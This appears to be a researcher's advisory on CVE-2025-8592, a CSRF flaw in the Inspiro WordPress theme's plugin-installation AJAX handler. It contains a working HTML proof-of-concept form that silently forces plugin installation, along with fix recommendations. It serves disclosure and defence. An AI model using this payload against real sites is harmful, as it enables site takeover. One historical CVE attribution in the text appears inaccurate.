CVE-2025-8592 affects the popular Inspiro WordPress theme, which has amassed over 100,000 active installations. This vulnerability arises from an unauthenticated Cross-Site Request Forgery (CSRF) flaw in the theme’s AJAX handlers, specifically the inspiro_install_plugin action. By tricking an unsuspecting site administrator into visiting a malicious page, an attacker can silently install and activate plugins of their choosing from the official WordPress repository. If the forced plugin contains file-upload capabilities or known security weaknesses, the attacker can achieve full remote code execution (RCE) on the compromised site.
| CVE | CVE-2025-8592 |
| Plugin Version | Inspiro <= 2.1.2 |
| Critical | High |
| Active installations | 100 000+ |
| Publicly Published | August 25, 2025 |
| Last Updated | August 25, 2025 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-8592 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/inspiro/inspiro-212-cross-site-request-forgery-to-arbitrary-plugin-installation |
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Timeline
| July 25, 2025 | Plugin testing and vulnerability detection in the Inspiro have been completed |
| July 25, 2025 | I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing |
| August 25, 2025 | Registered CVE-2025-8592 |
Discovery of the Vulnerability
During routine security assessments, researchers noticed that Inspiro’s AJAX endpoint did not verify any user nonce or capability before processing plugin installation requests. The endpoint simply trusts the incoming action=inspiro_install_plugin and slug=<plugin-slug> parameters, installs the plugin via WordPress’s internal functions, and activates it—all without requiring authentication. This oversight directly contradicts WordPress’s standard security model, which normally restricts plugin management actions to authenticated users with the install_pluginsand activate_plugins capabilities.
Understanding of CSRF attack’s
CSRF attacks exploit a site’s trust in a user’s browser. In WordPress, secure AJAX actions must include a valid nonce (number used once) that ties the request to a specific user session and capability. When a request lacks or uses an invalid nonce, WordPress should reject it. Historical examples include CVE-2020-28050 in the ThemeGrill Demo Importer and CVE-2021-29447 in the Blog Designer plugin, both of which allowed unauthorized operations due to missing or broken nonce checks. In the case of Inspiro, the absence of a nonce check on the critical plugin-installation path makes it trivially exploitable.
Exploiting the CSRF Vulnerability
To exploit CVE-2025-8592, an attacker without any Cookies:
POC:
<html> <body> <form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="inspiro_install_plugin" /> <input type="hidden" name="slug" value="akismet" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>____
In practice, this vulnerability means that any site using Inspiro is at risk of complete takeover without the administrator clicking anything overtly suspicious. Threat actors can bundle a plugin with a backdoor or file-upload feature, force its installation, then upload a web shell or pivot to database credentials. In a high-profile compromise, attackers could deface sites, steal sensitive user data, or leverage compromised servers for further attacks. Given the theme’s 100k+ user base, widespread automated exploitation campaigns are likely.
Recommendations for Improved Security
- Generate a secure nonce with
wp_create_nonce( 'inspiro_install_plugin' )and verify it usingcheck_ajax_referer(). - Ensure the current user has both
install_pluginsandactivate_pluginscapabilities viacurrent_user_can(). - Limit AJAX actions to authenticated users only by hooking into
wp_ajax_rather thanwp_ajax_nopriv_.
Site administrators should update to a patched version of Inspiro as soon as it’s released, monitor their plugin directories for unauthorized additions, and consider temporarily disabling AJAX-driven plugin installation if an update isn’t immediately available.
By taking proactive measures to address CSRF vulnerabilities like CVE-2025-8592 WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.
#WordPressSecurity #CSRF #WebsiteSafety #StayProtected #HighVulnerability
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Dmitrii I.